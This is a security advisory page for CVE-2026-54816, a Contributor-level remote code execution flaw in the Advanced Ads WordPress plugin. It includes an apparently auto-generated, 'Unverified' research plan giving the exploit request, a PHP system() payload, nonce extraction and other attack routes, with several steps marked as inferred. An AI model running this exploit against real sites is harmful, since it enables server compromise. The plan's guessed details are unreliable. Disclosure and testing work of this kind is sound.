CVE-2026-54816

Advanced Ads – Ad Manager & AdSense <= 2.0.21 - Authenticated (Contributor+) Remote Code Execution

highImproper Control of Generation of Code ('Code Injection')
8.3
CVSS Score
8.3
CVSS Score
high
Severity
2.0.22
Patched in
9d
Time to patch

Description

The Advanced Ads – Ad Manager & AdSense plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.0.21. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
Low
Integrity
High
Availability

Technical Details

Affected versions<=2.0.21
PublishedJune 17, 2026
Last updatedJune 25, 2026
Affected pluginadvanced-ads

What Changed in the Fix

Changes introduced in v2.0.22

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-54816 - Advanced Ads Contributor+ Remote Code Execution ## 1. Vulnerability Summary The **Advanced Ads** plugin (<= 2.0.21) is vulnerable to **Remote Code Execution (RCE)** due to improper capability checks when saving or processing Ad content. Specifically, the plugin all…

Show full research plan

Research Plan: CVE-2026-54816 - Advanced Ads Contributor+ Remote Code Execution

1. Vulnerability Summary

The Advanced Ads plugin (<= 2.0.21) is vulnerable to Remote Code Execution (RCE) due to improper capability checks when saving or processing Ad content. Specifically, the plugin allows users with the Contributor role (who have edit_posts capability) to create or modify Ads that contain executable PHP code. While the "PHP Code" ad type should be restricted to administrators, the lack of a proper server-side validation or capability check (current_user_can('manage_options')) allows lower-privileged users to inject and execute arbitrary PHP code on the server.

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (for saving/updating ads) or wp-admin/post-new.php?post_type=advanced_ads.
  • Target Post Type: advanced_ads.
  • Vulnerable Parameter: post_content (the ad body) and advanced_ad[type] (the ad type selector).
  • Authentication: Authenticated, Contributor-level access or higher.
  • Preconditions: The plugin must be active. No specific settings are required, as the vulnerability lies in the default handling of the advanced_ads post type.

3. Code Flow

  1. Entry Point: A Contributor user navigates to wp-admin/post-new.php?post_type=advanced_ads.
  2. Form Submission: The user submits a POST request to wp-admin/post.php to save the ad.
  3. Internal Processing:
    • WordPress triggers the save_post hook, which the plugin likely hooks into via a method such as Advanced_Ads_Admin::save_ad_meta() (inferred).
    • The plugin reads the advanced_ad[type] parameter from the $_POST array.
    • If the type is set to php, the plugin should check if the user has manage_options capability before allowing this type. In the vulnerable version, this check is either missing or only implemented on the client-side (UI).
  4. Sink: The PHP code is stored in the post_content field of the wp_posts table.
  5. Trigger: When the Ad is previewed or rendered (via the "Preview" button or by viewing the ad's permalink/shortcode), the plugin passes the post_content through an execution engine (e.g., eval() or a custom wrapper) because the ad type is flagged as php.

4. Nonce Acquisition Strategy

To save a post in WordPress, a valid _wpnonce for the update-post_[ID] action is required.

  1. Identify Entry: Navigate to the "New Ad" page.
  2. Action: Use browser_navigate to wp-admin/post-new.php?post_type=advanced_ads.
  3. Extraction: Use browser_eval to extract the _wpnonce from the hidden input field in the #post form.
  4. Localization: The plugin likely localizes admin data. Check window.advads_admin_common or window.advanced_ads_admin for additional nonces if AJAX is used.
    • Command: browser_eval("document.querySelector('#_wpnonce').value")

5. Exploitation Strategy

Step 1: Authentication

Log in as a user with the Contributor role.

Step 2: Create a Malicious Ad

Send a POST request to post.php to create an ad of type php containing the payload.

  • URL: http://vulnerable-test.local/wp-admin/post.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: editpost
    • post_type: advanced_ads
    • post_ID: (The ID of the ad created during post-new.php access)
    • _wpnonce: (Extracted nonce)
    • post_title: RCE Exploit
    • content: <?php system('whoami; id'); ?>
    • advanced_ad[type]: php (This is the critical parameter)
    • advanced_ad[output]: plain (inferred)

Step 3: Trigger Execution

Navigate to the "Preview" URL for the newly created Ad ID.

  • URL: http://vulnerable-test.local/?post_type=advanced_ads&p=[AD_ID]&preview=true

6. Test Data Setup

  1. User Creation: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Plugin Setup: Ensure the "Advanced Ads" plugin is active.
    • wp plugin activate advanced-ads

7. Expected Results

  • The HTTP response for the "Preview" page should contain the output of the whoami and id commands (e.g., www-data uid=33(www-data) gid=33(www-data)).
  • The post_content in the database will contain the raw PHP code.

8. Verification Steps

After the exploit, verify the persistence of the payload and the ad configuration using WP-CLI:

  1. Check Ad Type: wp post get [AD_ID] --field=post_content
  2. Check Meta: wp post meta list [AD_ID] (Look for _advanced_ads_ad_type set to php).
  3. Confirm Execution: Check the server logs or the output of the preview URL.

9. Alternative Approaches

If the post.php route is blocked by standard WordPress security logic for Contributors:

  1. AJAX Route: Check for the AJAX action used to save ads.
    • Look for wp_ajax_advads_save_ad or similar in the source.
    • Use http_request to send a crafted AJAX request with the php type.
  2. Block Editor (Gutenberg): If the plugin uses blocks, attempt to save the ad via the REST API (/wp/v2/advanced_ads/[ID]). This often bypasses older save_post validation logic.
  3. Ad Health Trigger: If admin/includes/ad-health-notices.php is part of a larger system that allows triggering "Asset Rebuilds," attempt to inject code into the asset folder path via settings.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.